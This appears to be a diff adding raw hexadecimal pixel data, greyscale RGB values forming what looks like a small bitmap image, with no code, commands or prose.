+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000343434FFFFFF040404101010FFFFFF +282828000000ECECEC505050000000949494EDEDED6262622F2F2F282828ABABABC0C0C0000000 +000000000000000000040404FFFFFF545454000000000000000000000000949494C8C8C8000000 +000000000000A8A8A8B4B4B4000000000000000000000000000000000000000000000000000000 +0000000000009C9C9CC5C5C5000000000000000000525252FFFFFF141414000000000000909090 +CDCDCD000000929292CACACA000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000343434FFFFFF040404101010FFFFFF282828 +000000ECECEC505050000000000000000000040404FFFFFF545454000000000000000000000000 +000000000000D8D8D8808080000000000000000000000000343434FFFFFF040404101010FFFFFF +282828000000ECECEC505050000000000000000000000000000000000000000000000000000000 +0000009C9C9CC5C5C5000000000000000000525252FFFFFF141414000000000000909090CDCDCD +000000929292CACACA000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000343434FFFFFF040404101010FFFFFF282828000000 +ECECEC505050000000000000585858C9C9C9FCFCFCF9F9F99E9E9E050505000000000000F4F4F4 +898989000000000000000000828282F9F9F9010101000000D7D7D7A5A5A5000000000000000000 +9F9F9FE1E1E1000000000000000000000000000000000000000000000000000000000000000000 +F4F4F4898989000000000000000000828282F9F9F9010101000000F5F5F5A5A5A5000000000000 +000000747474FBFBFB040404000000000000000000050505ECECEC8A8A8A000000000000000000 +000000000000000000CFCFCF949494000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000343434FFFFFF040404101010FFFFFF282828000000ECECEC505050000000 +ECECEC757575000000000000000000B5B5B5C0C0C0000000000000000000000000040404FFFFFF +545454000000000000000000000000949494C8C8C8000000000000000000A8A8A8B4B4B4000000 +0000000000000000000000000000000000000000000000000000000000009C9C9CD9D9D9000000 +000000000000656565FCFCFC030303000000000000313131FFFFFF2B2B2BE8E8E86C6C6C000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000343434FFFFFF040404101010FFFFFF282828000000ECECEC505050000000000000 +000000040404FFFFFF545454000000000000000000000000000000000000D8D8D8808080000000 +000000000000000000343434FFFFFF040404101010FFFFFF282828000000ECECEC505050000000 +0000000000000000000000000000000000000000000000000000009C9C9CD9D9D9000000000000 +000000656565FCFCFC030303000000000000313131FFFFFF2B2B2BE8E8E86C6C6C000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000343434FFFFFF040404101010FFFFFF282828000000ECECEC505050000000000000000000 +0000000E0E0E6E6E6EFDFDFD626262000000000000D0D0D0ACACAC000000000000000000A6A6A6 +D6D6D6000000030303FEFEFE7C7C7C000000000000000000757575FFFFFF0A0A0A000000000000 +000000000000000000000000000000000000000000000000D0D0D0ACACAC000000000000000000 +A6A6A6D6D6D6000000000000D3D3D3A6A6A6000000000000000000767676FAFAFA030303000000 +0000000000004D4D4DFFFFFF313131000000000000000000000000000000414141FDFDFD242424 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000343434FFFFFF +040404101010FFFFFF282828000000ECECEC505050010101F6F6F66161610000000000000C0C0C +F0F0F0C0C0C0000000000000000000000000040404FFFFFF545454000000000000000000000000 +949494C8C8C8000000000000000000A8A8A8B4B4B40000000000000000000000002A2A2A646464 +2A2A2A0000000000000000000000009C9C9CFEFEFE1D1D1D000000000000A6A6A6D2D2D2000000 +000000000000000000D2D2D2C6C6C6FAFAFA141414000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000343434FFFFFF040404 +101010FFFFFF282828000000ECECEC505050000000000000000000040404FFFFFF545454000000 +000000000000000000000000000000CACACA8C8C8C000000000000000000000000343434FFFFFF +040404101010FFFFFF282828000000ECECEC5050500000000000000000002A2A2A6464642A2A2A +0000000000000000000000009C9C9CFEFEFE1D1D1D000000000000A6A6A6D2D2D2000000000000 +000000000000D2D2D2C6C6C6FAFAFA141414000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000343434FFFFFF040404101010 +FFFFFF282828000000ECECEC505050000000000000000000000000000000000000DFDFDF7D7D7D +0000000000008E8E8EEDEDED0A0A0A000000080808EBEBEB939393000000000000E9E9E9A8A8A8 +000000000000000000A1A1A1EEEEEE000000000000000000000000000000000000000000000000 +0000000000000000008E8E8EEDEDED0A0A0A000000080808EBEBEB939393000000000000959595 +E0E0E0030303000000000000ACACACD6D6D6000000000000000000000000A8A8A8D9D9D9000000 +000000000000000000000000000000B3B3B3B1B1B1000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000343434FFFFFF040404101010FFFFFF282828000000 +ECECEC505050000000B3B3B3C7C7C7181818191919ABABABF3F3F3C0C0C0000000000000161616 +202020232323FFFFFF696969202020202020000000000000949494C8C8C8000000000000000000 +A8A8A8B4B4B40000000000000000000000006C6C6CFFFFFF6C6C6C000000000000000000000000 +9C9C9CF6F6F6C7C7C74F4F4F7C7C7CFDFDFD656565000000000000000000000000737373FFFFFF +B3B3B3000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000343434FFFFFF040404101010FFFFFF282828000000ECECEC +505050000000161616202020232323FFFFFF696969202020202020000000000000000000000000 +9F9F9FDFDFDF404040282828161616000000343434FFFFFF040404101010FFFFFF282828000000 +ECECEC5050500000000000000000006C6C6CFFFFFF6C6C6C0000000000000000000000009C9C9C +F6F6F6C7C7C74F4F4F7C7C7CFDFDFD656565000000000000000000000000737373FFFFFFB3B3B3 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000343434FFFFFF040404101010FFFFFF282828000000ECECEC505050 +0000006767679D9D9D5555554040408A8A8AFEFEFE3B3B3B000000000000222222F5F5F5B1B1B1 +4D4D4DADADADF6F6F6252525000000000000868686FDFDFD8686864A4A4A818181FCFCFC878787 +000000000000000000000000000000000000000000000000000000000000000000222222F5F5F5 +B1B1B14D4D4DADADADF6F6F6252525000000000000292929F8F8F8ADADAD4E4E4E848484FDFDFD +6565650000000000000000000D0D0DF6F6F6808080000000000000000000000000000000252525 +FEFEFE3F3F3F000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000343434FFFFFF040404101010FFFFFF282828000000ECECEC5050500000001A1A1AB3B3B3 +F3F3F3E8E8E88585859A9A9AC0C0C0000000000000B4B4B4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF +FFFFFF000000000000949494C8C8C8000000000000000000A8A8A8B4B4B4000000000000000000 +0000006C6C6CFFFFFF6C6C6C0000000000000000000000009C9C9CC0C0C0848484F0F0F0ECECEC +858585010101000000000000000000000000272727FFFFFF575757000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +343434FFFFFF040404101010FFFFFF282828000000ECECEC505050000000B4B4B4FFFFFFFFFFFF +FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000202020BCBCBCF2F2F2FFFFFF909090 +000000343434FFFFFF040404101010FFFFFF282828000000ECECEC505050000000000000000000 +6C6C6CFFFFFF6C6C6C0000000000000000000000009C9C9CC0C0C0848484F0F0F0ECECEC858585 +010101000000000000000000000000272727FFFFFF575757000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000343434 +FFFFFF040404101010FFFFFF282828000000ECECEC505050000000393939B8B8B8EAEAEAF6F6F6 +D1D1D1595959000000000000000000000000424242D1D1D1F8F8F8D3D3D3454545000000000000 +0000000505057B7B7BDADADAF6F6F6DBDBDB7B7B7B050505000000000000000000000000000000 +000000000000000000000000000000000000000000424242D1D1D1F8F8F8D3D3D3454545000000 +000000000000000000454545CECECEF9F9F9E4E4E47B7B7B0101010000000000000000005E5E5E +FFFFFF282828000000000000000000000000000000969696CDCDCD000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000009C9C9CC0C0C0000000000000000000000000000000000000000000000000 +0000006E6E6EF1F1F1090909000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000009C9C9CC0C0C0000000000000000000000000000000000000000000000000000000 +6E6E6EF1F1F1090909000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000121212F5F5F55C5C5C000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000009C9C9CC0C0C0 +0000000000000000000000000000000000000000002222224B4B4BE8E8E8939393000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000009C9C9CC0C0C0000000 +0000000000000000000000000000000000002222224B4B4BE8E8E8939393000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000009C9C9CC0C0C0000000000000000000000000000000 +000000000000A8A8A8FBFBFBB7B7B70F0F0F000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000009C9C9CC0C0C0000000000000000000000000000000000000 +000000A8A8A8FBFBFBB7B7B70F0F0F000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 